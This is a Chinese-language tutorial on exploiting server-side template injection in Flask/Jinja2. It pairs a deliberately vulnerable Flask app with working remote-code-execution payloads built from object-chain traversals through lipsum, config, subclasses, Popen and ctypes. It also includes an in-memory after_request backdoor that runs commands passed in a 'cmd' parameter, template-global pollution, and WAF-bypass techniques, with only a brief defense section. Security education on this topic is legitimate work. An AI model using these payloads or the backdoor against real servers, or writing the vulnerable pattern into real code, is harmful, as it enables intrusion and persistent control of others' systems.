Flask/Jinja2 SSTI漏洞深度研究与利用教学文档
1. 漏洞概述
SSTI(Server-Side Template Injection,服务端模板注入)是现代Web应用中的高危漏洞,尤其在使用动态模板引擎的框架中风险显著。本文以Python的Flask框架及其Jinja2模板引擎为例,系统讲解SSTI漏洞的原理、利用技术和防御思路。
2. 漏洞原理详解
2.1 模板引擎工作机制
模板引擎的核心功能是将动态数据嵌入静态模板,生成最终输出。Jinja2等模板引擎通过特殊语法({% ... %}和{{ ... }})解析用户输入,若用户输入被直接传递给模板引擎且未经过滤,攻击者可注入恶意模板代码。
2.2 漏洞环境示例
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world():
person = 'lmpr'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run()
当访问http://localhost:5000?name={{2*2}}时,若返回Hi, 4.,则确认存在SSTI漏洞。值得注意的是,Jinja2原生屏蔽+符号,测试时应避免使用{{1+1}}。
3. Flask框架核心对象分析
3.1 全局对象暴露机制
Flask通过create_jinja_environment方法向模板环境注入全局对象,这些对象是SSTI攻击的关键跳板。
内置全局对象分类:
| 来源 | 全局对象 | 类型 | 可利用性 |
|---|---|---|---|
| Jinja2 | range |
<class 'type'> |
高 |
dict |
<class 'type'> |
高 | |
lipsum |
<class 'function'> |
极高 | |
cycler |
<class 'type'> |
高 | |
joiner |
<class 'type'> |
高 | |
namespace |
<class 'type'> |
高 | |
| Flask | url_for |
<class 'method'> |
极高 |
get_flashed_messages |
<class 'function'> |
高 | |
config |
<class 'flask.config.Config'> |
极高 | |
request |
<class 'werkzeug.local.LocalProxy'> |
高 | |
session |
<class 'werkzeug.local.LocalProxy'> |
中 | |
g |
<class 'werkzeug.local.LocalProxy'> |
中 |
3.2 关键对象深度解析
3.2.1 lipsum函数
- 位置:Jinja2内置的测试数据生成函数
- 模块:
jinja2.utils - 特征:普通函数对象,可直接访问
__globals__属性 - 模块内显式导入
os模块,使其成为理想跳板
3.2.2 config对象
- 类型:继承自
dict的增强字典 - 模块:
flask.config - 关键特性:
Config类方法(如__init__、from_pyfile等)均为普通函数,未被装饰器包装 - 模块顶部显式导入
os模块
3.2.3 g、session、request对象
- 实现机制:通过
LocalProxy实现的代理对象 - 特点:类型声明与实际实例化类型不一致,但不影响属性访问
session类型为SessionMixin,继承自MutableMapping[str, Any]
4. Python魔术属性与利用链构建
4.1 关键魔术属性
| 属性 | 作用 | SSTI利用价值 | 示例 |
|---|---|---|---|
__class__ |
获取对象的类 | 攻击链起点 | ''.__class__ → <class 'str'> |
__bases__ |
获取类的基类元组 | 向上遍历继承树 | str.__bases__ → (<class 'object'>,) |
__mro__ |
方法解析顺序 | 获取完整继承链 | str.__mro__ → (str, object) |
__subclasses__() |
获取直接子类列表 | 访问所有已加载类 | object.__subclasses__() |
__globals__ |
函数所在模块的全局变量字典 | 获取模块全局上下文 | func.__globals__ |
__builtins__ |
内置函数和异常集合 | 访问危险内置函数 | __builtins__.__import__ |
__init__ |
类初始化方法 | 获取普通函数对象 | config.__class__.__init__ |
4.2 函数__globals__机制深度解析
__globals__是函数闭包机制的副产品,存储函数所需的外部变量引用。典型结构包含:
- 系统自动添加的模块元信息
- 用户显式导入的模块
- 用户定义的全局变量、函数和类
关键点:装饰器会改变函数的__globals__指向。包装函数(wrapper)的__globals__指向装饰器所在模块,而非被装饰函数原模块。
5. Payload构造方法论
5.1 基于函数__globals__的直接利用
5.1.1 通过lipsum利用
{{lipsum.__globals__['os'].popen('whoami').read()}}
步骤分析:
lipsum→ 函数对象.__globals__→ 获取jinja2.utils模块全局字典['os']→ 访问已导入的os模块.popen('whoami')→ 执行系统命令.read()→ 读取命令输出
5.1.2 通过config利用
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
步骤分析:
config→Config类实例.__class__→ 获取Config类.__init__→ 获取普通初始化方法.__globals__→ 获取flask.config模块全局字典- 后续步骤同上
5.2 通过__builtins__的间接利用
当目标函数的__globals__中无os模块时,可通过__builtins__中的eval或__import__间接导入。
{{request.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
5.3 通过object.__subclasses__()的通用利用
当直接跳板不可用时,需从Python基础类型开始构建完整利用链。
5.3.1 获取所有子类索引
{% set classes = range.__class__.__base__.__subclasses__() %}
{% for class in classes %}
{{ loop.index0 }}: {{ class.__name__ }} ({{ class.__module__ }})
{% endfor %}
5.3.2 常用风险类索引
| 类名 | 模块 | 利用方式 | 典型索引(可能变化) |
|---|---|---|---|
Popen |
subprocess |
直接创建进程 | 535 |
_wrap_close |
os |
通过os模块 |
可变 |
WarningMessage |
warnings |
通过__init__.__globals__ |
可变 |
BuiltinImporter |
_frozen_importlib |
导入系统模块 | 可变 |
CDLL |
ctypes |
直接调用系统库 | 526 |
StreamReaderWriter |
codecs |
文件操作 | 可变 |
5.3.3 通用Payload示例
{{''.__class__.__bases__[0].__subclasses__()[535]('ls', shell=True, stdout=-1).communicate()[0]}}
5.4 特殊利用技巧
5.4.1 直接使用subprocess.Popen
{{range.__class__.__base__.__subclasses__()[535]('ls', shell=True, stdout=-1).communicate()[0]}}
5.4.2 通过ctypes.CDLL调用系统库
{{range.__class__.__base__.__subclasses__()[526]('libc.so.6').system('whoami')}}
6. 高级利用技术
6.1 内存马注入
在无回显但可执行代码的场景下,可通过after_request机制植入持久化后门。
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
机制解析:
- 通过
eval执行Python代码 - 向
app.after_request_funcs[None]列表追加lambda函数 - 该函数检查请求参数
cmd - 若存在
cmd参数,则执行命令并封装为响应 - 通过
request.args.get('cmd')获取命令参数
6.2 全局变量污染攻击
基于Jinja2编译阶段的特性,可污染模板全局变量实现代码注入。
6.2.1 发现可利用的全局变量
在jinja2.runtime模块中,存在exported和async_exported列表,用于存储导出的模板变量。
6.2.2 污染Payload构造
{{range.__class__.__base__.__subclasses__()[507].keys.__globals__.exported.append('*;print(114514);from jinja2.runtime import new_context')}}
攻击原理:
- 通过SSTI访问
jinja2.runtime模块 - 向
exported列表追加恶意内容 - 污染后的内容会在模板编译阶段被拼接执行
7. WAF绕过技术
7.1 属性访问替代
- 原始:
''.__class__ - 绕过:
''|attr("__class__") - 原理:使用Jinja2过滤器语法
7.2 字符串拼接与编码
- 字符串拼接:
'__cla'+'ss__' - 字符编码:
'__class__'|string|list|first - 进制编码:
'__class__'|format(0x5f)
7.3 利用request对象属性
request对象包含完整的HTTP请求信息,可通过其属性间接构造Payload:
request.args:GET参数request.form:POST参数request.cookies:Cookierequest.headers:请求头
7.4 模板标签滥用
{% print().__class__ %}
利用{% ... %}标签中的print函数输出内容,避免使用{{ ... }}语法。
8. 防御建议
8.1 输入验证与过滤
- 严格限制模板变量内容
- 禁止用户控制模板代码
- 对特殊字符进行转义
8.2 沙箱环境配置
- 使用Jinja2沙箱模式
- 移除不必要的全局对象
- 限制可用过滤器和函数
8.3 安全开发实践
- 避免使用
render_template_string - 使用安全的模板渲染函数
- 定期进行代码审计和安全测试
9. 总结
Flask/Jinja2 SSTI漏洞的利用核心在于理解Python对象模型、Jinja2模板引擎工作机制以及Flask框架的全局对象暴露机制。攻击者通过魔术属性链式访问,最终目标是获取包含系统模块(如os、subprocess)的全局上下文,进而执行任意代码。防御需要从输入验证、沙箱配置和开发规范多个层面进行加固。
本文系统梳理了从基础原理到高级利用的完整知识体系,为安全研究人员提供了全面的SSTI攻防参考。